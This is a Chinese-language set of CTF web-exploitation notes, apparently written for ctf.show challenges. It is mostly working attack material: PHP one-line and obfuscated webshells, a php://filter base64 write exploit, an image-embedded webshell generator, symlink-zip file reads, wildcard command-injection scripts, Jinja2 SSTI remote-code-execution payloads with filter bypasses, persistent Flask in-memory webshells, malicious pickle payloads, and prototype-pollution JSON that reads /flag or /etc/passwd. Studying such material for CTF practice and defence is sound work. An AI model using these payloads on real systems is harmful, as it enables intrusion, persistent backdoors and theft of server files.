第一,get传参file写入文件并且进行base64解码,即 ?file=php://filter/write=convert.base64-decode/resource=datast.php 因为源码中有一次urldecode,所以我们需要对其进行两次url编码 %25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30
第二,post传参content为base64编码后的一句话木马,但注意的是前面剩下phpdie,一共6个字符,所以需要再加2个字符变8个 因为base64算法解码时是4个byte一组 content=nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==
post发送请求后访问dotast.php发现一句话木马已经写入,可以执行命令。步骤过于繁琐,我写一个脚本来完成
python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/21 12:29 # blog: www.wlhhlc.top import requests url = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/" #经过两次url编码的php://filter/write=convert.base64-decode/resource=dotast.php get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30" get_url = url + "?file=" + get_data data = { 'content': 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==' } res = requests.post(url=get_url, data=data) shell_url = url + "dotast.php" test = requests.get(shell_url) if(test.status_code == 200): print("[*]getshell成功") shell_data = { 'pass': 'system("cat fl0g.php");' } result = requests.post(url=shell_url, data=shell_data) print(result.text)
运行后即可得到flag
知识点:变量传递与覆盖(不知道对不对),session的利用
现在的我做这个题还是很懵的,感觉要灵光一现才能想出来,而不是做出来的,思路还不是很清楚
构造的payload
POST的数据
session_id=session_id 1
修改http头部信息
php<script language="php">@eval($_POST['shell']);</script>
<?=`$_GET[0]`?>
<?php @eval($_POST['shell']);?>
${eval($_POST[0])}${eval($_POST[0])}
<?=@eval($_REQUEST['cmd']);?>
<?php assert($_POST['a']);?>
一个靠构造CHR以及动态拼接特性构造出的一个很离谱的webshell
none<?php (((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((9.9999999999999999^9)^((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99)))))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^((.999999999999999).(.999999999999999))).(.999999999999999)))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((9.9999999999999999^9)^((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99)))))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(.999999999999999).((.999999999999999)^(9^((.999999999999999).(.999999999999999)))^(9.9999999999999999^9^99.999999999999999^99))))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).(.999999999999999)))).((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((9.9999999999999999^9).(9.9999999999999999^9).(9.9999999999999999^9))^((99).(9))^((9).(9.9999999999999999))^((9^9).(9.9999999999999999^9^99.999999999999999^99).(9^9))^((9^9).(9^9).(9^9))^((99.9).(9)))(((.999999999999999).(9^9).(9)))))($_POST[1]) ?>
让服务器把.jpg文件当成php解析
AddType application/x-httpd-php .jpg
php<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
例:--------------------------------------------------------------------------------------V
phpln -s /etc/passwd passwd zip -y passwd.zip passwd ln -s /falg falg zip -y flag.zip flag
软链接(symlink)也可用于docx文件内部。docx文件内部有个word/document.xml,里面记录着word文档的文字。那么将这个文件替换为软链接,就能在服务器提取文字时读取任意文件。
phpmkdir word
cd word
ln -s /flag document.xml
cd ../
7z a exploit.zip word
if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }
这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。不过之前看过p师傅的一篇无字母数字webshell的文章,这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用?
进行匹配,即???/?????????
,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现
在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件,我们可以去操作看看
在目录下新建一个f.txt,内容为ls,我们使用. /home/kali/ctf_tools/a/f.txt
来执行文件
发现f.txt里的ls命令被成功执行,所以我们的完整payload就是
Code ?c=. /???/????????[@-[] 并且同时上传我们的文件,文件内容里面是命令
这里我们写个脚本
python #-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/11 9:14 # blog: www.wlhhlc.top import requests while True: url = "http://92a3d8ba-280b-4cb8-bd47-58b577bb6204.chall.ctf.show:8080/?c=. /???/????????[@-[]" r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")}) flag = r.text.split('ctfshow') if len(flag) >1: print(r.text) break
php{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}
php长度限制绕过
{{config.update(c=config.update)}}
{{config.update(g="__globals__")}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p("cat /f*").read()}}
php响应头外带
payload
{{g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())}}
php Flask内存马
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
phppyramid
{{lipsum['__globals__']['__builtins__']['setattr']((((lipsum|attr('__spec__'))|attr('__init__')|attr('__globals__'))['sys']|attr('modules'))pyramid['wsgiref']|attr('simple_server')|attr('ServerHandler'),'server_so'+'ftware',lipsum['__globals__']['__builtins__']['__import__']('os')['popen']('/readflag')['read']())}}
php for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/
2.SSTI模版注入
魔术方法
class:用来查看所有的类
''.__class__().__class__[].__class__{}.__class__
basses:查看类的基类
''.__class__.__bases__().__class__.__bases__[].__class__.__bases__{}.__class__.__bases__# 只有在python2中''.__class__.__bases__的返回为(<type 'str'>, <type 'basestring'>, <type 'object'>),其他均为(<type 'dict'>, <type 'object'>)# 在python3中返回的均是(<class 'object'>,)# 此时返回的是一个元组
mro:获取类的基类,返回类的调用顺序
''.__class__.__mro__().__class__.__mro__[].__class__.__mro__{}.__class__.__mro__# 只有在python2中''.__class__.__mro__的返回为(<type 'basestring'>,),其他均为(<type 'object'>,)# 在python3中返回的均是(<class 'str'>, <class 'object'>)# 此时返回的是一个元组
subclasses:查看当前类的子类组成的列表,返回基类object的子类
# python2因为只有''.__class__.__mro__[3]为<type 'object’>,其余变量类型的均为.__class__.__mro__[1]或者.__class__.__bases__[0]为<type 'object’>所在python2中使用变量类型的时候需要注意 # python3中任何变量类型的__bases__[0]均与__mro__[1]相同,所以使用下面任意payload均可>>> [].__class__.__bases__[0].__subclasses__() == [].__class__.__mro__[1].__subclasses__()True>>> {}.__class__.__bases__[0].__subclasses__() == {}.__class__.__mro__[1].__subclasses__()True>>> ().__class__.__bases__[0].__subclasses__() == ().__class__.__mro__[1].__subclasses__()True>>> ''.__class__.__bases__[0].__subclasses__() == ''.__class__.__mro__[1].__subclasses__()True
内置函数
builtins:可以查看当前导入的内置函数
globals:以字典的形式返回当前位置的所有全局变量
import():引入类或者函数
文件读取
python2
# 通过fuzz发现__subclasses__[40]为file类{{[].__class__.__base__[0].__subclasses__()[40](‘/etc/passwd’).read()}}
python3
# python3中已经移除了file类,通过’_frozen_importlib_external.FileLoader’读取文件,通过fuzz发现编号为79{{().__class__.__bases__[0].__subclasses__()[79][get_data](0,”/etc/passwd")}}
命令执行
通过内建函数的eval执行
import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}" res = requests.get(url=url) if 'eval' in res.text: print(i)"""最后具体payload如下{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} """
寻找os模块执行命令
import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url) if 'os.py' in res.text: print(i)"""随便挑一个构造payload执行命令即可最后的payload {{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}"""
寻找popen执行命令
import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}" res = requests.get(url=url) if 'popen' in res.text: print(i)"""最后的payload{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}"""
寻找_frozen_importlib.BuiltinImport执行命令
import requests for i in range(500): url = "http://192.xxx.xxx.1:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}" res = requests.get(url=url) if '_frozen_importlib.BuiltinImporter' in res.text: print(i)"""最后的payload{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}"""
一些简单的绕过关键字过滤的方法
利用hex编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用unicode编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}} {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用base64编码绕过
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
利用字符串拼接绕过
{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
利用join()绕过
[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()
利用引号绕过
[].__class__.__base__.__subclasses__()[40]("/fl""ag").read()().__class__.__base__.__subclasses__()[77].__init__.__globals__['o''s'].popen('ls').read(){{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}
绕过其他字符
过滤了下划线_可以直接利用unicode或者hex编码等编码方式绕过 过滤了点.利用|attr()函数绕过().__class__等同于()|attr("__class__") 过滤了花括号{{利用{% %}构建循环语句绕过
其他参考内容
__class__ 类的一个内置属性,表示实例对象的类。__base__ 类型对象的直接基类__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases____mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.__init__ 初始化类,返回的类型是function__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()request.args.x1 get传参request.values.x1 所有参数request.cookies cookies参数request.headers 请求头参数request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)request.data post传参 (Content-Type:a/b)request.json post传json (Content-Type: application/json)config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}g {{g}}得到<flask.g of 'flask_ssti’>
https://xz.aliyun.com/t/16087#toc-5 add_url_rule,但是新版本好像目前加了很多checker什么的,所以得换种方式打,这里我就将两种的方式都写一下,但是基本上思路是一致的(旧版本的话我这里就拿别的师傅的playload啥的实现了因为自己本地没有配环境,懒....)
这里稍微说一下,看这个地方的前置知识吧:匿名函数,SSTI。
当网页请求进入Flask
时, 会实例化一个Request Context
. 在Python
中分出了两种上下文: 请求上下文(request context)、应用上下文(session context). 一个请求上下文中封装了请求的信息, 而上下文的结构是运用了一个Stack
的栈结构, 也就是说它拥有一个栈所拥有的全部特性. request context
实例化后会被push
到栈_request_ctx_stack
中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的请求.
这里贴一个有漏洞的源码
from flask import Flask, request, render_template_string app = Flask(__name__) @app.route('/') def home(): person = 'guest' if request.args.get('name'): person = request.args.get('name') template = '<h2>Hello %s!</h2>' % person return render_template_string(template) if __name__ == "__main__": app.run()
playload:
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
这里分析一下这个playload
url_for.__globals__[%27__builtins__%27][%27eval%27]
这一串很好理解吧其实就是构造了eval执行后面的函数
可以看到后面是执行了app.add_url_rule这个函数
在Flask中注册路由的时候是添加的@app.route
装饰器来实现的。
add_url_rule函数
add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None, **options)
/
开头;所以这里就应该很清楚flask内存马的逻辑了
在Flask更新之后,就像我说的加了很多checker但是我们仍然可以利用其他函数来进行构造
before_request
这里我们跟进这个函数来看
调用了before_request_funcs.setdefault(None, []).append(f)
然后f可控,我们将其改为
lambda :__import__('os').popen('whoami').read()
playload:
eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())")
after_request
这些函数其实就和前面的一样,不过是利用了其他方法罢了 所以这里我就贴一下playload了。
playload:
eval("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)")
这个要注意一下,这里要调用一下他不存在的路由才行
exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")
因为这里主要是打这个地方,只有访问到不存在的路由才会去调用这个方法来进行打内存码
新版Flask框架下用钩子函数实现内存马的方式 https://xz.aliyun.com/t/14539
https://www.cnblogs.com/sijidou/p/16305695.html
利用报错回显RCE
phpimport pickle
import base64
import os
class Email():
email = "admin@admin.com"
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('id').read())",))
def login():
poc = base64.b64encode(pickle.dumps(Email()))
print(poc)
import pickle import base64 class Exp: def __reduce__(self): return (exec, (''' raise Exception(open("/flag").read()) '''.strip(),)) print(base64.urlsafe_b64encode(pickle.dumps(Exp())))
phpimport pickle
import pickletools
import base64
class a_class():
def __init__(self):
self.age = 114514
self.name = "QAQ"
self.list = ["1919","810","qwq"]
def __reduce__(self):
return (__import__('os').system, ("whoami",))
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)
下面给出pickle利用下的payload:
import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('gxngxngxn')).read())",)) a = A() b = pickle.dumps(a) print(base64.b64encode(b))
import os import pickle import base64 class A(): def __reduce__(self): return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('gxngxngxn') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'gxngxngxn\')).read())\")==None else resp)",)) a = A() b = pickle.dumps(a) print(base64.b64encode(b))
import os import pickle import base64 class A(): def __reduce__(self): return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",)) a = A() b = pickle.dumps(a) print(base64.b64encode(b))
import base64 import pickle class A(object): def __reduce__(self): return (eval,("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",)) a = A() print(base64.b64encode(pickle.dumps(a)))
通过访问不存在的路由执行命令并回显
exec
、eval
+ open
执行库代码
'__builtins__'
-> '\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f'
'__builtins__'
-> '\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f'
"os"
-> "o" + "s"
'__buil''tins__'
-> str.__add__('__buil', 'tins__')
'__buil''tins__'
-> '%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)
__import__
-> getattr(__builtins__, "__import__")
__import__
-> __builtins__.__dict__['__import__']
__import__
-> __loader__().load_module
str.find
-> vars(str)["find"]
str.find
-> str.__dict__["find"]
# 注意基础类型 或者 自定义 __slots__
没有 __dict__
属性
",".join("123")
-> "".__class__.join(",", "123")
",".join("123")
-> str.join(",", "123")
"123"[0]
-> "123".__getitem__(0)
"0123456789"
-> sorted(set(str(hash(()))))
[1, 2, 3][0]
-> [1, 2, 3].__getitem__()
2024
-> next(reversed(range(2025)))
{"a": 1}["a"]
-> {"a": 1}.pop("a")
1
-> int(max(max(dict(a၁=()))))
[i for i in range(10) if i == 5]
-> [[i][0]for(i)in(range(10))if(i)==5]
==
-> in
True or False
-> (True) | (False)
True or False
-> bool(- (True) - (False))
True or False
-> bool((True) + (False))
True and False
-> (True) & (False)
True and False
-> bool((True) * (False))
[2, 20, 30]
-> [i for i in range(31) for j in range(31) if i==0 and j == 2 or i == 1 and j ==20 or i == 2 and j == 30]
phpunicode的编码
phpfrom flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def is_json(data):
try:
json.loads(data)
return True
except ValueError:
return False
class cls():
def __init__(self):
pass
instance = cls()
@app.route('/', methods=['GET', 'POST'])
def hello_world():
return open('/static/index.html', encoding="utf-8").read()
@app.route('/read', methods=['GET', 'POST'])
def Read():
file = open(__file__, encoding="utf-8").read()
return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"
@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
if request.is_json:
merge(json.loads(request.data),instance)
else:
return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80)
向/pollute端点发送以下JSON payload:
方法1
php{
"__class__": {
"__init__": {
"__globals__": {
"__file__": "/flag"
}
}
}
}
方法2
php{
"__init__": {
"__globals__": {
"__file__": "/flag"
}
}
}
这个payload会污染instance对象的__class__属性,进而污染__init__方法的__globals__字典,将__file__设置为/flag。
污染成功后,访问/read端点。此时Read函数中的__file__已经被改为/flag,所以它会读取并返回flag的内容。
0
方法3
GET /static/flag GET /static/etc/passwd
php {
"__init__": {
"__globals__": {
"app": {
"_static_folder": "/"
}
}
}
}
_static_url_path 是存放flask中的静态目录的路径,默认值就是static
正常访问的话,就是通过http://xxxxx/static/xxxx
所以我们只要将其值篡改,那我们就可以通过其访问到任何文件
方法4
这个地方就是模板渲染的时候,防止目录穿梭进行的一个操作,而我们的os.path.pardir恰好是我们的..所以会进行报错,所以我们如果把这个地方进行修改为除..外的任意值,我们就可以进行目录穿梭了。
payload={ "__init__":{ "__globals__":{ "os":{ "path":{ "pardir":"," } } } } }
php@app.route('/flag', methods=['GET'])
def flag():
token = request.headers.get('Authorization')
数据包格式为:
phpGET /flag HTTP/1.1
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ5b3VyX3VzZXJuYW1lIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzI1ODc4MTg1fQ==.nsnfunejRMtHoR5dJftmHtvdILAXnTs69eKpjR_FAzA
https://github.com/WiIs0n/Flask-cookie-generation-based-on-PIN-code pin 和 Cookie
Accept: 允许哪些媒体类型。
Accept-Charset: 允许哪些字符集。
Accept-Encoding: 允许哪些编码。
Accept-Language: 允许哪些语言。
Cache-Control: 缓存策略,如 no-cache,详见官方文档。
Connection: 连接选项,例如是否允许代理。
Host: 请求的主机。
If-None-Match: 判断请求实体的 Etag 是否包含在 If-None-Match 中,如果包含,则返回 304,使用缓存,见 Etag。
If-Modified-Since: 判断修改时间是否一致,如果一致,则使用缓存,。 、
If-Match: 与 If-None-Match 相反。
If-Unmodified-Since: 与 If-Modified-Since 相反。
Referer: 表明这个请求发起的源头。
User-Agent: 这个大家相信应该很熟悉了,就是经常用来做浏览器检测的 userAgent。
Cache-Control: 缓存策略,如 max-age:100,详见官方文档。
Connection: 连接选项,例如是否允许代理。
Content-Encoding: 返回内容的编码,如 gzip。
Content-Language: 返回内容的语言。
Content-Length: 返回内容的字节长度。
Content-Type: 返回内容的媒体类型,如 text/html。
Data: 返回时间。
Etag: entity tag,实体标签,给每个实体生成一个单独的值,用于客户端缓存,与 If-None-Match 配合使用。
Expires: 设置缓存过期时间,Cache-Control 也会相应变化。
Last-Modified: 最近修改时间,用于客户端缓存,与 If-Modified-Since 配合使用。
Pragma: 似乎和 Cache-Control 差不多,用于旧的浏览器。
Server: 服务器信息。
Vary: WEB 服务器用该头部的内容告诉 Cache 服务器,在什么条件下才能用本响应所返回的对象响应后续的请求。假如源 WEB 服务器在接到第一个请求消息时,其响应消息的头部为:Content-Encoding: gzip; Vary: Content-Encoding 那么 Cache 服务器会分析后续请求消息的头部,检查其 Accept-Encoding,是否跟先前响应的 Vary 头部值一致,即是否使用相同的内容编码方法,这样就可以防止 Cache 服务器用自己 Cache 里面压缩后的实体响应给不具备解压能力的浏览器。
phpX-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
